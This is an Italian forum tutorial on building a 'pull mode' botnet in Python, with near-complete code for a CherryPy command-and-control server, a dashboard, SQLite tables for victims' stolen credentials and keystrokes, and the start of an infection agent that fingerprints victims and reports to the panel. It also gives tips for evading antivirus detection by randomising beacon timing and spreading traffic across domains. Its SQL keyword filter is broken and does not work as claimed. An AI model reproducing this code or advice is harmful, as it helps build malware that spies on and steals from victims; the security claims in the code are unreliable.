Guida DoS Creare una pull botnet

Gorate

Utente Emerald
13 Novembre 2016
1,384
42
478
529
Ultima modifica:
Cosa sono le pull botnets ??

Le pull botnet o botnet pull mode, sono particolari botnet poco utilizzate e documentate, che offrono una valida alternativa alle push botnet, molto utilizzate per un' analisi e controllo passivo, in cui non e' il botmaster a contattare la macchina target, ma la macchina taret che contatta il botmaster:

Codice:
push botnet:    botmster <-------> pannello web o C&C <---------> target

pull botnet:    target <---------> pannello web o C&C <----------> botmaster
.

I Pro:

  • Ottimale per il grabbing di credenziali, advertisements show e diffusione di altri malware
  • La connessione e' effettuata dal target alla pagina che ritorna a quest' ultimo i comandi da eseguire o i moduli da attivare, e dunque non si corre il rischio che il firewall di una macchina vittima blocchi le connessioni in entrata che caratterizzano invece le push botnet.
  • Semplice nella creazione e facilmente interconnettibile ad un pannello esterno [esempio web]

I contro:

  • Non adatta al reverse shell [dunque all' invio di comandi in-live]
  • Conseguentemente, poiche' e' il target che si connette alla pagina da cui prendere i comandi, non puo' essere adottato per azioni di cui si necessita della precisione in termini di tempistica e sincornizzazione
  • Gli AV si accorgono prima della continua richiesta che il client effettua ad orari prefissati verso il server *
  • *: In questo caso, basta semplicemente rendere meno regolare il tempo di richiesta e magari distribuire il tutto su piu' DNS, in modo da non far sembrare che le richieste siano indirizzate tutte ad uno specifico pannello.

Descrizione:

Con questa release cerchero' di fornire le basi indispensabili per la creazione di una semplicissima botnet pull, partendo dal come si organizza il progetto, arrivando alla scrittura del server, dell agent e successivamente del pannello web [integrato con il server].

Prerequisiti:

In corsa d' opera, verra' utilizzato innanzitutto Python3, ed in particolare le seguenti librerie:

  • Requests [per l' agent e la creazione di richieste ai servizi web]
  • CherryPy [come motore per il server]
  • Jinja2 [come motore di templating per il pannello web]
  • CryptoPy [solo alcuni esempi]
  • SQLite3 [per la gestione dei db][l ho scelto poiche' gia' integrata nella versione py e con sintassi praticamente uguale [per alcuni aspetti] e MySQL. Niente vi vieta di usare invece un db su server come MySQL o qualsiasi altro db supportato da Py che prediligete]
  • Altri moduli base per info grabbing e altri scopi post-infezione [os, platform, sys, subprocess, ...]
  • Oltre a cio', si lavorera' con SQLite [come sintassi SQL], e con HTML/CSS [in particolare usero' Bootstrap, mio fido amico e js con Chart.js per aggiungere qualche particolare grafico].

Come procedere:

La cosa piu' importante e' sapersi organizzare, e decidere in primis quale sara' la precisa struttura della botnet.

Nel nostro caso, non andremo a creare una botnet pronta all uso, ma un semplicissimo sample che potrebbe essere ottimo per studiare la struttura della botnet in se', e il funzionamento logico dietro questa.
Andiamo dunque a definire la struttura delle cartelle del progetto:

innanzitutto dobbiamo avere una cartella principale in cui raccogliere tutto [assumiamo che si chiami "PullPy", dopodiche' 2 sottocartelle: uno per l' Agent, l' altra per il Server. Notiamo che poiche' si parla di botnet pull mode, quindi non adatta al reverse shell, il server sara' adottato dal master, e il client dalla vittima [contrariamente ad una push botnet]. Oltre a questo, poiche' useremo sqlite come db, dobbiamo creare una cartella dove salvare il file del db
stesso.

Ora, notiamo che il Server dovra' fornire ben 2 servizi: il pannello di amministrazione dei bot [C&C], che sara' utilizzabile solo dal botmaster che effettuera' un adeguata autenticazione, e il servizio http di ricezione dei dati forniti dal bot infettato con l' agent.

Dunque, dobbiamo gestire tutti i dati immagazinandoli in un database [sqlite nel nostro caso], e poterli rendere visualizzabili in modo piu' user friendly di una semplice seguenza di liste e tuple [che sarebbe il tipo con cui viene ritornato il contenuto di un database in Py].

Procediamo dunque con la organizzazione del progetto, che apparira' cosi':

Codice:
PullPy
   |
   |-- Server
            |
            |--- Server.py [file del server]
            |--- db.py [piccolo tool per la gestione del db]
            |--- settings.py [info generali utili]
            |-- API [pagine raggiungibili dal bot]
                    |
                    |--- welcome.html [pagina di raccolta dati dal bot]
                    |--- getcmds.html [inutile qui poiche' gli unici 2 comandi saranno di keylogging e credentials grabbing, e                                                            verranno eseguiti automaticamente]
          |-- C&C [pagine raggiungibili solo al botmaster]
                  |
                  |-- DashBoard
                                |
                                |--- dashboard.html [piccola overview dei bot]
                                |--- bot.html [visione completa di un singolo bot]
         |-- DBs
                 |
                 |--- db.db [file del database]

    |
    |-- Agent
            |
            |--- Core.py [Agent di infezione]
            |-- Modules
                         |
                         |--- modules.py [contiene il modulo di keylogging e di credential grabbing]
.
Decisa l' organizzazione del progetto, dobbiamo decidere quale sara' la struttura del database, che dovra' raccogliere 3 tipologie di informazioni: i dati sui bot, i dati sulle credenziali, i dati sui tasti premuti, mettendo in relazione tali dati con un identificatore, che vedremo successivamente. Ora, andiamo a definire dunque la struttura del database db.db:

Codice:
db.db

    Bots (Key TEXT, User TEXT, Ip TEXT, Os TEXT, Enum TEXT, Geo TEXT)
    Creds (Key TEXT, User TEXT, Passwd TEXT, Url TEXT)
    Keys (Key TEXT, String TEXT)
.

Ovviamente, dovremo prestare attenzione anche all inserimento dei dati nel nostro db: input malformati potrebbero provocare [volontariamente o meno], un SQL injection, dunque encoderemo tutti i dati nel db, ad eccezione delle singole key [che risultano staccate di per se' e dunque non possono presentare un pericolo] con un semplici formato hex().

Ragruppiamo ora nel file settings.py tutti i dati piu' importanti, e globali, che ci serviranno man mano che procederemo con la stesura del server.
Andiamo ad inserirvi dunque le credenziali che dovremo rispettare per entrare nel pannello di gestione C&C, la porta su cui vogliamo far girare il server, il nome e il percorso del db, una lista con alcune keyword sql che dovranno essere bonificate [vedremo successivamente] e le 2 path per trovare le pagine html che dovremo renderizzare; Il file sembrera' dunque qualcosa del genere:
Python:
''' File ove inserire tutte le info di settaggio utili '''
import os
from binascii import hexlify

DB_PATH = os.getcwd()+"\\DBs\\"
DB_NAME = 'db.db'

USER = '@Gorate'
PASSWD = hexlify(USER.encode()).decode() #40476f72617465

PORT = 8080

PATH_API = os.getcwd()+"\\API\\"
PATH_CC = os.getcwd()+"\\C&C\\"

SQL_KEYWORDS = ['SELECT', 'FROM', 'UNION', ';', '-- -', '#', 'SLEEP']
.

Attraverso l' uso del modulo os, possiamo rendere il tutto molto piu' semplice e pronto all' uso: effettivamente e' scocciante andare a cambiare la path con quella del proprio pc, mentre uno script che calcoli automaticamente dove si trova e aggiunge poi la struttura fissa dei file, e' sicuramente piu' convincente.

Ora, poiche' dobbiamo addentrarci nella creazione di un applicativo abbastanza complesso nella sua realizzazione ["complesso"], dobbiamo avere sempre sott' occhio i dati presenti nel db, e dunque andiamo a creare un mini script [db.py], che inizializzera', cancellera' e mostrera' tutti i dati del db.
Per fare cio', andiamo a creare il file in questione, creiamo un collegamento al file del db che deve essere creato, e identifichiamo le 3 azioni descritte prima tramite i metodi "init()", "delete()" e "show()":
Python:
def init():
    with sqlite3.connect(DB_PATH+DB_NAME) as DB_CONN:
        DB_EXE = DB_CONN.cursor()
        DB_EXE.execute("CREATE TABLE IF NOT EXISTS Bots (Key TEXT, User TEXT, Ip TEXT, Os TEXT, Enum TEXT, Geo TEXT)")
        DB_EXE.execute("CREATE TABLE IF NOT EXISTS Creds (Key TEXT, User TEXT, Passwd TEXT, Url TEXT)")
        DB_EXE.execute("CREATE TABLE IF NOT EXISTS Keys (Key TEXT, String TEXT)")
        DB_CONN.commit()
        DB_EXE.close()

def delete():
    with sqlite3.connect(DB_PATH+DB_NAME) as DB_CONN:
        DB_EXE = DB_CONN.cursor()
        DB_EXE.execute("DROP TABLE IF EXISTS Bots")
        DB_EXE.execute("DROP TABLE IF EXISTS Creds")
        DB_EXE.execute("DROP TABLE IF EXISTS Keys")
        DB_CONN.commit()
        DB_EXE.close()

def show():
    with sqlite3.connect(DB_PATH+DB_NAME) as DB_CONN:
        DB_EXE = DB_CONN.cursor()
        try:
            bots_content = DB_EXE.execute("SELECT * FROM Bots").fetchall()
            creds_content = DB_EXE.execute("SELECT * FROM Creds").fetchall()
            keys_content = DB_EXE.execute("SELECT * FROM Keys").fetchall()
            print("\nBots:\n")
            print(bots_content)
            print("\nCredentials:\n")
            print(creds_content)
            print("\nKeys:\n")
            print(keys_content)
        except sqlite3.DatabaseError:
            print("Impossible find the tables")
        finally:
            DB_CONN.commit()
            DB_EXE.close()

Creiamo un semplice tool che prenda come parametro un keyword [che andra' poi ad identificarsi come un determinato comando], e aggiungiamo il menu' "help()". Notare che per prendere in input da riga di comando la keyword, non vi e' bisogno di scomodare librerie come "argparse", ma basta semplicemente usare il modulo "sys", che mette all interno della lista "argv[:]" l' insieme di tutte le parole che vanno da argv[0] [il nome dello script], fino ad argv[len(sys.argv)-1] [l- ultimo parametro passato].

Il codice dovrebbe essere simile a questo:
Python:
''' File per la gestione e la visualizzazione del db '''

import sqlite3
import sys
from settings import *

def main():
    option = sys.argv[1]
    if option == "init":
        init()
    elif option == "help":
        help()
    elif option == "del":
        delete()
    elif option == "show":
        show()
    else:
        print("\nCommand not found. Type `help` for see the aviable options")

def help():
    print("\n{0} usage: {0} <option>".format(sys.argv[0]))
    print("\t- help: show this help message")
    print("\t- show: show the content of the db")
    print("\t- init: initizlaize the db")
    print("\t- del: delete the db")

def init():
    with sqlite3.connect(DB_PATH+DB_NAME) as DB_CONN:
        DB_EXE = DB_CONN.cursor()
        DB_EXE.execute("CREATE TABLE IF NOT EXISTS Bots (Key TEXT, User TEXT, Ip TEXT, Os TEXT, Enum TEXT, Geo TEXT)")
        DB_EXE.execute("CREATE TABLE IF NOT EXISTS Creds (Key TEXT, User TEXT, Passwd TEXT, Url TEXT)")
        DB_EXE.execute("CREATE TABLE IF NOT EXISTS Keys (Key TEXT, String TEXT)")
        DB_CONN.commit()
        DB_EXE.close()

def delete():
    with sqlite3.connect(DB_PATH+DB_NAME) as DB_CONN:
        DB_EXE = DB_CONN.cursor()
        DB_EXE.execute("DROP TABLE IF EXISTS Bots")
        DB_EXE.execute("DROP TABLE IF EXISTS Creds")
        DB_EXE.execute("DROP TABLE IF EXISTS Keys")
        DB_CONN.commit()
        DB_EXE.close()

def show():
    with sqlite3.connect(DB_PATH+DB_NAME) as DB_CONN:
        DB_EXE = DB_CONN.cursor()
        try:
            bots_content = DB_EXE.execute("SELECT * FROM Bots").fetchall()
            creds_content = DB_EXE.execute("SELECT * FROM Creds").fetchall()
            keys_content = DB_EXE.execute("SELECT * FROM Keys").fetchall()
            print("\nBots:\n")
            print(bots_content)
            print("\nCredentials:\n")
            print(creds_content)
            print("\nKeys:\n")
            print(keys_content)
        except sqlite3.DatabaseError:
            print("Impossible find the tables")
        finally:
            DB_CONN.commit()
            DB_EXE.close()

if __name__ == "__main__":
    main()
.

Bene, se siete arrivati fino a qui significa che vi interessa l' argomento, quindi passiamo alla stesura del punto piu' interessante [secondo me], o meglio il server.
Per crearne uno in modo veloce ed elegante, io usero' CherryPy, che attraverso plugin, moduli ed extension rende molto facile, intuitivo e se vogliamo divertente creare un server http.

Per chi non conoscesse questa libreria, sappiate che la documentazione e' veramente ben fornita [https://docs.cherrypy.org/en/latest/], e che vi e' anche un libro pdf di circa 200 pagine che spiega come integrarlo con websockets [che sarebbero interessanti da adottare], json e api services.

Per farla breve, in CherryPy ogni metodo contrassegnato con cherrypy.expose, o con il suo equivalente nomemetodo.expose = True, e' una pagina http che puo' ricevere dati [che vengono ottenuti [sia GET che POST], attarverso i parametri del metodo stesso]. Nel codice che creeremo, inseriremo immagazzinamento dei dati, ricezione e rendering di una pagina nello stesso metodo, ma in generale e' sempre meglio tenere distaccate le varie fasi.

Come definito prima, dobbiamo creare innanzitutto un modulo per l' autenticazione del botmaster, che prendera' il nome di authenticate(realm, user, passwd).
Il suo codice semplicemente deve ritornare True se la condizione di autenticazione e' rispettata, altrimenti False:
Python:
def authenticate(realm, user, passwd):
    if user == USER and passwd == PASSWD:
        return True
    return False
.

Cio'fatto, andiamo ad integrarlo con CherryPy, che automaticamente [senza creare una pagina di login per la verifica del botmaster], creera' un semplice alert che richieda la credenziali, lanciando un 403 Forbidden nel caso in cui tali credenziali siano sbagliate.

Per integrare questa funzionalita', dobbiamo fare un passo indietro: CherryPy usa una configurazione all' avvio del server, che va' ad identificare determinate caratteristiche per ogni pagina. Per determinare se una pagina deve essere visualizzata esclusivamente da chi ha accesso admin [quindi il botmaster], bisogna aggiungere al dizionario di dizionari conf, il seguente codice:
Python:
conf = {
    '/page':{
        'tools.auth_basic.on': True,
       'tools.auth_basic.realm': 'localhost',
       'tools.auth_basic.checkpassword': authenticate
    }, ...
}
.

Ora, passiamo alla stesura dei singoli metodi che costituiranno le pagine visualizzabili:
poiche' CherryPy usa un approccio OOP, dobbiamo creare la classe Server(), in cui andremo ad inserire i seguenti metodi:
Python:
def index(self) [pagine principale]
def dashboard(self) [dashboard]
def bot(self, key) [visualizzazione completa del singolo bot identificato da `key`]
def welcome(self, key, user, ip, os, enum, geo) [ricezione info dal bot [all' avvio del `Core.py`]]
def getcreds(self, key, user, passwd, url) [ottiene le credenziali e le salva]
def getkeys(self, key, text) [ottiene i tasti premuti e li salva]

Ricordiamo subito che gli import saranno questi:
Python:
from settings import *
from binascii import unhexlify
import cherrypy
import jinja2
import os
import sys
import sqlite3

Ok, ora dobbiamo implementarli:
partiamo da index() che semplicemente deve redirectarci sul dashboard e printare le credenziali sul server, in modo che noi possiamo adottarle [questo passaggio l' ho adottato per comodita', ma potete non inserirlo minimamente]; In questo caso il metodo assomigliera' al seguente:
Python:
from settings import *

#.. metodi authenticate ecc......

class Server(object):

    @cherrypy.expose
    def index(self):
        cherrypy.log("USER: {} \n\tPASSWD: {}".format(USER, PASSWD))
        raise cherrypy.HTTPRedirect("/dashboard")
.

Notare che l' utilizzo della funzione print() e' inutile dato che CherryPy occupa tutto l' stdout con i propri eventi e log. Di conseguenza se dobbiamo printare qualcosa, lo dobbiamo fare come log della sessione server aperta, attraverso il metodo cherrypy.log("").

Ora, dobbiamo passare alla dashboard, che sara' raggiungibile solo se autenticati, dunque andiamo a definire nella configurazione quali sono:
Python:
conf = {
    '/dashboard': {
       'tools.auth_basic.on': True,
       'tools.auth_basic.realm': 'localhost',
       'tools.auth_basic.checkpassword': authenticate
    },
    '/bot': {
       'tools.auth_basic.on': True,
       'tools.auth_basic.realm': 'localhost',
       'tools.auth_basic.checkpassword': authenticate
    },
    '/welcome':{},
    '/getcreds':{},
    '/getkeys':{}
}

class Server(): #....
.

Ok, adesso dobbiamo definire quali dati ricevera' [nessuno nel nostro caso], e cosa restituira' :
sicuramente l' HTML della pagine dashboard.html [ovviamente dinamicamente, con i dati presi dal db, tramite templating, per cui useremo Jinja2, dato che CherryPy non ne dispone].

Dunque, signature del metodo e posizione:
Python:
class Server(object):

    #...

    @cherrypy.expose('dashboard')
    def dashboard(self)
, mentre l' implementazione, come gia' detto, dovra':
prelevare i dati dai db per:
  • Avere info principali sui bots [quelle nella tabella `Bots`]
  • Avere info circa il numero di bot win e unix e il loro totale [per i grafici]
Ricordiamo inoltre che i dati sono encodati in esadecimale, dunque dobbiamo identificare anche un metodo per il loro decoding, e in questo caso useremo from binascii import unhexlify.
Dunque, il codice sara' simile al seguente:
Python:
    @cherrypy.expose('dashboard')
    def dashboard(self):
        with open(PATH_CC+"\\DashBoard\\dashboard.html", 'r') as html:
            template = jinja2.Template(html.read())
        with sqlite3.connect(DB_PATH+DB_NAME) as db:
            try:
                db_exe = db.cursor()
                db_bots = db_exe.execute("SELECT DISTINCT * FROM {}".format('Bots')).fetchall()
                bots_num = db_exe.execute("SELECT COUNT(DISTINCT Key) FROM {}".format('Bots')).fetchall()[0][0]
                win_bots = db_exe.execute("SELECT COUNT(DISTINCT Key) FROM {} WHERE Os='57696e646f7773'".format('Bots')).fetchall()[0][0]
                nix_bots = db_exe.execute("SELECT COUNT(DISTINCT Key) FROM {} WHERE Os='4c696e7578'".format('Bots')).fetchall()[0][0]
            except sqlite3.DatabaseError:
                print("An error occured during the selection of the data")
            finally:
                db.commit()
                db_exe.close()
, ma non ritorna nulla ??!
Effettivamente abbiamo dimenticato forse la cosa piu' importante: ritornare l' HTML con i dati.
Per fare cio', dobbiamo usare Jinja2, che offre un motore di templating molto comodo poiche' offre filtri [di cui faremo uso minimo], e addons interessanti.
Il return di questo metodo e' dunque il rendering dell' oggetto template.

Ma per sapere come organizzare il return, dobbiamo prima creare la struttura della pagina dashboard.html, che includera' una tabella "scrollabile" con i bot e le loro info principali [come ip, os ecc....], una mappa di abbellimento automatizzata della kaspersky [per ricordare che li' dentro ci siamo pure noi [mostra gli attacchi]], e 2 semplici grafici che mostrano il numero totale di bots e il loro numero in base alla piattaforma che usano, dunque al loro OS.

Il codice HTML della pagina sara' dunque qualcosa del genere:
HTML:
<!doctype html>
<html lang="en">
        <head>
        <meta charset="utf-8">
            <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
            <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css" integrity="sha384-9gVQ4dYFwwWSjIDZnLEWnxCjeSWFphJiwGPXr1jddIhOegiu1FwO5qRGvFXOdJZ4" crossorigin="anonymous">
            <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
            <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js" integrity="sha384-uefMccjFJAIv6A+rW+L4AHf99KvxDjWSu1z9VI8SKNVmz4sk7buKt/6v9KI65qnm" crossorigin="anonymous"></script>
            <link href="https://fonts.googleapis.com/css?family=Ubuntu" rel="stylesheet">
                <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.2/Chart.bundle.js"></script>
            <title>DashBoard | PullPyBotnet</title>

            <style>
                html {
                        height: 100%;
                }

                body {
                        height: 100%;
                        background: linear-gradient(to bottom right, rgb(27, 162, 229), rgb(232, 130, 6));
                        background-attachment: fixed;
                        background-repeat: no-repeat;
                }

                h1 {
                        font-family: 'Ubuntu', sans-serif;
                        text-align: center;
                        color: rgb(2, 97, 130);
                }

                .graph1 {
                        float: left;
                        width: 45%;
                        height: 45%;
                        margin-bottom: 20px;
                }

                .graph2 {
                        float: right;
                        width: 45%;
                        height: 45%;
                        margin-bottom: 20px;
                }

                #bots {
                        height: 140px;
                        overflow-y: scroll;
                }

                ::-webkit-scrollbar {
                                width: 15px;
                            border-radius: 10px;
                        }

                        ::-webkit-scrollbar-track {
                                background: #f1f1f1;
                                border-radius: 10px;
                        }

                        ::-webkit-scrollbar-thumb {
                                background: #888;
                                border-radius: 10px;
                        }

                        ::-webkit-scrollbar-thumb:hover {
                                background: #555;
                        }
            </style>

        </head>
        <body>
                <div class="container-fluid">
                <h1 class="display-1">Dashboard</h1>
                <br>
                <div id="bots">
                        <table class="table table-dark">
                                <thead>
                                        <tr>
                                                <th scope="col">Key</th>
                                                <th scope="col">User</th>
                                                <th scope="col">IP</th>
                                                <th scope="col">Os</th>
                                                <th scope="col">Geo</th>
                                        </tr>
                                </thead>
                                <tbody>
                                        {% for key, user, ip, os, enum, geo in db_bots|reverse %}
                                                <tr>
                                                        <td><a href="/bot/{{ unhexlify(key).decode() }}" >{{ unhexlify(key).decode() }}</a></td>
                                                        <td>{{ unhexlify(user).decode() }}</td>
                                                        <td>{{ unhexlify(ip).decode() }}</td>
                                                        <td>{{ unhexlify(os).decode() }}</td>
                                                        <td>{{ unhexlify(geo).decode() }}</td>
                                                </tr>
                                        {% endfor %}
                                </tbody>
                            </table>
                    </div>

                    <div id="map">
                        <br>
                        <div class="embed-responsive embed-responsive-16by9">
                                        <iframe class="embed-responsive-item" src="https://cybermap.kaspersky.com/en/widget/dynamic/dark" frameborder="0" allowfullscreen></iframe>
                                </div>
                    </div>

                    <br>
                    <div id="graphs" style="clear: both;">
                        <div class="graph1">
                                <h1 class="display-2">Total Bots</h1>
                                <br><canvas id="total"></canvas>
                        </div>

                        <div class="graph2">
                                <h1 class="display-2">Bots' Os</h1>
                                <br><canvas id="os"></canvas>
                        </div>
                        <script>function total(num){
                                var ctx = document.getElementById("total").getContext('2d');
                                var chart = new Chart(ctx, {
                                    type: 'bar',
                                    data: {
                                        labels: ['Total Bots'],
                                        datasets: [{
                                            label: 'Total Bots',
                                            data: [num],
                                            backgroundColor: [
                                                'rgb(3, 75, 130)'
                                            ],
                                            borderColor: [
                                                'rgb(15, 113, 130)'
                                            ],
                                            borderWidth: 1
                                        }]
                                    }, options: {
                                        responsive: true,
                                        maintainAspectRatio: false
                                    }
                                });
                        }

                        function os(win, nix) {
                                var ctx2 = document.getElementById("os").getContext('2d');
                                var chart2 = new Chart(ctx2, {
                                    type: 'doughnut',
                                    data: {
                                        labels: ["Win", "Unix"],
                                        datasets: [{
                                            label: "Bots' Os",
                                            data: [win, nix],
                                            backgroundColor: [
                                                'rgb(3, 75, 130)',
                                                'rgb(247, 173, 0)'
                                            ],
                                            borderColor: [
                                                'rgb(15, 113, 130)',
                                                'rgb(209, 147, 4)'
                                            ],
                                            borderWidth: 1
                                        }]
                                    },
                                    options: {
                                        responsive: true,
                                        maintainAspectRatio: false
                                    }
                                });
                        }</script>
                        <script>total({{ bots_num }})</script>
                        <script>os({{ win_bots }}, {{ nix_bots }})</script>
                    </div>
                </div>
        </body>
</html>
.

I caratteri {{ e {% o }} e %}, sono in realta' dei segnaposto per il template engine di Jinja2: {% %}, indica una istruzione logica, come un ciclo for, o una condizione if, mentre {{ }}, e' invece un segnaposto per variabili passate e risultanti delle precedenti espressioni [uguali a quelle in Python praticamente].

Dunque il return sara' il seguente:
Python:
return template.render({'db_bots':db_bots, 'unhexlify':unhexlify, 'bots_num':bots_num, 'win_bots':win_bots, 'nix_bots':nix_bots})
, e dunque il codice finale sara' :
Python:
class Server():
    #...

    @cherrypy.expose('dashboard')
    def dashboard(self):
        with open(PATH_CC+"\\DashBoard\\dashboard.html", 'r') as html:
            template = jinja2.Template(html.read())
        with sqlite3.connect(DB_PATH+DB_NAME) as db:
            try:
                db_exe = db.cursor()
                db_bots = db_exe.execute("SELECT DISTINCT * FROM {}".format('Bots')).fetchall()
                bots_num = db_exe.execute("SELECT COUNT(DISTINCT Key) FROM {}".format('Bots')).fetchall()[0][0]
                win_bots = db_exe.execute("SELECT COUNT(DISTINCT Key) FROM {} WHERE Os='57696e646f7773'".format('Bots')).fetchall()[0][0]
                nix_bots = db_exe.execute("SELECT COUNT(DISTINCT Key) FROM {} WHERE Os='4c696e7578'".format('Bots')).fetchall()[0][0]
            except sqlite3.DatabaseError:
                print("An error occured during the selection of the data")
            finally:
                db.commit()
                db_exe.close()
        return template.render({'db_bots':db_bots, 'unhexlify':unhexlify, 'bots_num':bots_num, 'win_bots':win_bots, 'nix_bots':nix_bots})
. [ovviamente con i relativi import, vedrete poi tutto il codice].

Passiamo ora al metodo che restituira' tutte le info su un singolo bot. In questo caso, avremo solamente un parametro da ottenere, o meglio la key identificativa del bot.
Anche qui, dobbiamo prendere le informazioni dai db [in questo caso non solo dalla tabella `Bots`, ma anche da `Keys` e `Creds`, ovviamente che appartengano a quel bot specifico]. Dunque, il metodo otterra' le info dai db, tramite il motore di template renderizzera' la pagina con le info e le variabili:
Python:
class Server(object):

    #...

    @cherrypy.expose
    def bot(self, key):
        key = hexlify(anti_sqli(key)).decode()
        with open(PATH_CC+"\\DashBoard\\bot.html") as html:
            template = jinja2.Template(html.read())
        with sqlite3.connect(DB_PATH+DB_NAME) as db:
            db_exe = db.cursor()
            try:
                print(key)
                bot_db = db_exe.execute("SELECT * FROM {} WHERE Key='{}'".format('Bots', key)).fetchall()
                creds_db = db_exe.execute("SELECT * FROM {} WHERE Key='{}'".format('Creds', key)).fetchall()
                keys_db = db_exe.execute("SELECT * FROM {} WHERE Key='{}'".format('Keys', key)).fetchall()
            except sqlite3.DatabaseError as e:
                print("An error occured selecting the data from the dbs")
                print(e)
            finally:
                db.commit()
                db_exe.close()
        return template.render({'bot_db':bot_db, 'creds_db':creds_db, 'keys_db':keys_db, 'unhexlify':unhexlify})
.

E la pagina bot.html sara' simile alla seguente:
  • 2 tabelle [una per le info principali e una per le credenziali]
  • piu' alerts per le key registrate
HTML:
Codice qui: https://github.com/Mik317/PullPy/blob/master/PullPy/Server/C%26C/DashBoard/bot.html [per evitare di superare il limite di 50.000 caratteri totali .....]
.

Perfetto, ora che abbiamo creato le pagine di amministrazione dobbiamo creare quelle che potra' raggiungere anche il bot, a cui effettuera' le richieste per inviare dati che verranno salvati nei rispettivi db.
Per semplificare la vita, creero' 3 metodi:
Python:
1. def welcome(self, key, user, ip, os, enum, geo)
2. def getcreds(self, key, user, passwd, url)
3. def getkeys(self, key, text)
.

I parametri come gia' asserito sono i parametri GET o POST che riceve la pagina. Come vedete soprattutto qui dobbiamo prestare attenzione all' inserimento dei dati nel db, poiche' potrebbero comportare un comportamento inaspettato da parte del db/server. Dunque oltre ad encodare in esadecimale, usiamo anche una funzione [fuori dalla classe Server()], che semplicemente prende in input il comando, lo trasforma in stringa e lo bonifica sommariamente: se trova una corrispondenza fra le SQL_KEYWORDS [di settings.py] e l' input, usa il metodo replace(str, str2) per eliminarlo. Come ben potete capire non e' una valida mossa per contrastare SQL injection, ma poiche' abbiamo encodato in esadecimale, tale controllo non serve a molto.

Python:
def anti_sqli(string):
    ''' Controllo inutile dato che andremmo ad encodare in hex prima di inserire nel db, ma e' sempre meglio ricordare
        che la sicurezza dell applicativo e' fondamentale '''
    for keyword in SQL_KEYWORDS:
        string = str(string)
        if keyword in string:
            string.replace(keyword, '')
        elif keyword.lower() in string:
            string.replace(keyword.lower(), '')
        return string.encode()


class Server():
     #...
.

Ok, come dicevamo, dobbiamo passare i parametri al database a inserirli, quindi non c'e' molto da dire:
Python:
class Server():

    #...

    @cherrypy.expose
    def welcome(self, key, user, ip, os, enum, geo): # key == uuid
        key = hexlify(anti_sqli(key)).decode()
        user = hexlify(anti_sqli(user)).decode()
        ip = hexlify(anti_sqli(ip)).decode()
        os = hexlify(anti_sqli(os)).decode()
        enum = hexlify(anti_sqli(enum)).decode()
        geo = hexlify(anti_sqli(geo)).decode()
        with sqlite3.connect(DB_PATH+DB_NAME) as db:
            db_exe = db.cursor()
            db_exe.execute("INSERT INTO {} VALUES (?,?,?,?,?,?)".format('Bots'), (key, user, ip, os, enum, geo,))
            db.commit()
            db_exe.close()
        with open(PATH_API+"welcome.html") as html:
            template = jinja2.Template(html.read())
        return template.render({'user': USER})

    @cherrypy.expose
    def getcreds(self, key, user, passwd, url):
        ''' Ricezione delle credenziali dal bot'''
        key = hexlify(anti_sqli(key)).decode()
        user = hexlify(anti_sqli(user)).decode()
        passwd = hexlify(anti_sqli(passwd)).decode()
        url = hexlify(anti_sqli(url)).decode()
        with sqlite3.connect(DB_PATH+DB_NAME) as db:
            db_exe = db.cursor()
            db_exe.execute("INSERT INTO {} VALUES (?,?,?,?)".format("Creds"), (key, user, passwd, url,))
            db.commit()
            db_exe.close()

    @cherrypy.expose
    def getkeys(self, key, text):
        ''' Ricezione dei tasti premuti dal bot '''
        key = hexlify(anti_sqli(key)).decode()
        with sqlite3.connect(DB_PATH+DB_NAME) as db:
            db_exe = db.cursor()
            db_exe.execute("INSERT INTO {} VALUES (?,?)".format("Keys"), (key, text,))
            db.commit()
            db_exe.close()
. Come vedete tutti e 3 fanno 3 semplici azioni:
  • Ricevono i dati come parametri
  • Li encodano
  • Li salvano nel db e nelle tabelle prestabilite
Bene, ora che abbiamo completato il server possiamo dargli un' occhiata:
  • py db.py init
  • py Server.py
Ma notiamo una cosa ...... e' vuoto ....... e infatti andando ad eseguire il comando py db.py show, notiamo che non ci sono dati nei db. Questo perche' ancora non abbiamo mietuto nessuna vittima ....... dobbiamo ora creare l' agent d' infezione che si occupera' di mandare i dati e monitorare il bot.

Il codice che vedrete e' molto semplice, addirittura stupido e in alcuni casi molto scontato, ma come detto non mi prefiggo di creare una botnet pronta all' uso, ma un modello, un sample che possa aiutare a capirne la struttura, poi ognuno potra' abbellirlo con le funzionalita' che piu' preferisce. [A chi e' piu' esperto, please non mi degradate, so' fare di meglio].

Detto cio', poiche' vogiamo che il nostro agent funga sia su win che su unix-like systems, dobbiamo usare una libreria che ci offra in entrambi i casi un out assicurato e ben realizzato. Dunque, possiamo usare la libreria platform, che interfacciandosi sia con unix che con win, assicura maggiore stabilita' e dunque meno problemi.

Gli import per il file Core.py sono dunque i seguenti:
Python:
import platform
import requests
import uuid
from Modules.modules import Cred_Grabber, Key_Grabber #vi spieghero' dopo
import json
, e principalmente, il nostro obiettivo e' che appena venga aperto, mandi info principali al pannello [la pagina /welcome],, e avvii i processi secondari, quindi keylogging e credentials grabbing.

Ora, andiamo a definire quale sara' l' indirizzo a cui mandare i dati: se fate un semplicissimo test, il localhost:8080 sara' l' indirizzo standard, che andiamo dunque a memorizzare nella varibaile PANEL_ADDR come stringa. Ora, dobbiamo ottenere le info principali, che dovranno essere inizializzate nella classe Agent(), dunque
Python:
class Agent(object):

    PANEL_ADDR = "http://localhost:8080/"
    JSON_PARSER = json.JSONDecoder()

    INFOS = JSON_PARSER.decode(requests.get("http://freegeoip.net/json/").text)
    IP = INFOS['ip']
    OS = platform.system()
    USER = platform.node()
    KEY = uuid.uuid1()
    GEO = INFOS['country_code']
    ENUM = platform.uname()
.

Un altro sbaglio colossale e' quello di usare uuid.uuid1() come identificatore univoco del bot, poiche' questo cambia in base al tempo passato, conseguenza per cui se la vittima aprisse 2 volte il core, noi avremmo 2 sessioni uguali ma distinte. Per evitare cio', usate sempre un algoritmo univoco il piu' possibile, magari un md5 del nome dello user della macchina combinato ad altre stringhe univoche ..... insomma qualcosa che indetifichi sicuramente univocamente un bot.
Python:
import Crypto
from Crypto.Hash import MD5
import getpass

HASHER = MD5.new(getpass.getuser().encode()+''.join(str(x) for x in range(11)))
